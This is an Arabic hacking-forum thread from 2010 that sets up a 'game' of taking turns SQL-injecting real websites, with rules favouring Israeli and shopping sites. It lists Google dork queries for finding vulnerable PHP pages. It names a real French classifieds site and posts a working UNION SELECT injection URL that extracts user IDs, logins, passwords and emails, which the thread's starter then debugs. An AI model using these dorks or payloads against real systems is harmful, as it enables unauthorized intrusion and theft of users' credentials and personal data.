لعبة اختراق المواقع SQL 1nj3ct!on

SoLiTair4Ever · 12-26-2010, 09:11 AM

و كما عودناكم بالجديد اليوم و انا جالس حاب العب و اخترق في نفس الوقت جاتني في راسي لعبة قلت اضعها للعناكب ان شاء الله تعجبكم و سميتها لعبة اختراق المواقع SQL 1nj3ct!onوهي انه ياتي العضو الثاني يضع استغلال الموقع اللي حاطه العضو اللي قبله و يضع لنا موقع آخر نستهدفه

الشروط
الموقع مايكون عربي الا اذا كان موقع غناء كموقع قنات غنوة
حاول ان يكون الموقع المستهدف اسرائيلي أو موقع شوبينج
لا تحطو موقع حتى تحطو استغلال الاول

و اخيرا ارجو منكم التفاعل مع الموضوع

المصدر: :: vBspiders Professional Network ::

gufm hojvhr hgl,hru SQL 1nj3ct!on

SoLiTair4Ever · 12-26-2010, 09:34 AM

[align=center]و هذه بعض الكلمات للبحث عن المواقع المصابة[/align]
[align=center]

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()

inurl:"id=" & intext:"Warning: mysql_fetch_array()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: is_writable()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: Unknown()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: pg_exec()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: mysql_query()

inurl:"id=" & intext:"Warning: array_merge()

inurl:"id=" & intext:"Warning: preg_match()

inurl:"id=" & intext:"Warning: ilesize()

inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: require()

[/align]

SoLiTair4Ever · 12-26-2010, 09:38 AM

الموقع الاول

http://www.gestimhfr.fr/detail_annonce.php ?ID=10039

SoLiTair4Ever · 12-26-2010, 10:04 AM

وصلت الى هنا

http://goo.gl/gjcdZ

agentsimo · 12-26-2010, 10:50 AM

السلام عليكم
فكرة رائعة
+
جاري الحقن

agentsimo · 12-26-2010, 10:55 AM

الحقنة الاخيرة
http://www.gestimhfr.fr/detail_annonce.php?ID=-10039 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(i d_user,0x3a,login,0x3a,mdp,0x3a,mail),17,18,19,20, 21,22,23,24,25,26,27+from+utilisateur--

SoLiTair4Ever · 12-26-2010, 06:04 PM

اقتباس

المشاركة الأصلية كتبت بواسطة agentsimo


	الحقنة الاخيرة http://www.gestimhfr.fr/detail_annonce.php?ID=-10039 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(i d_user,0x3a,login,0x3a,mdp,0x3a,mail),17,18,19,20, 21,22,23,24,25,26,27+from+utilisateur--

نفس حقنتي وضعتها قبلك :a39:
http://goo.gl/gjcdZ

و حقنتك فيها خطأ بسيط
group_concat(i d_user,0x3a,login,0x3a,mdp,0x3a,mail)

انت تارك فراغ هنا i d_user بين حرف i و d

مازال مسار اللوحة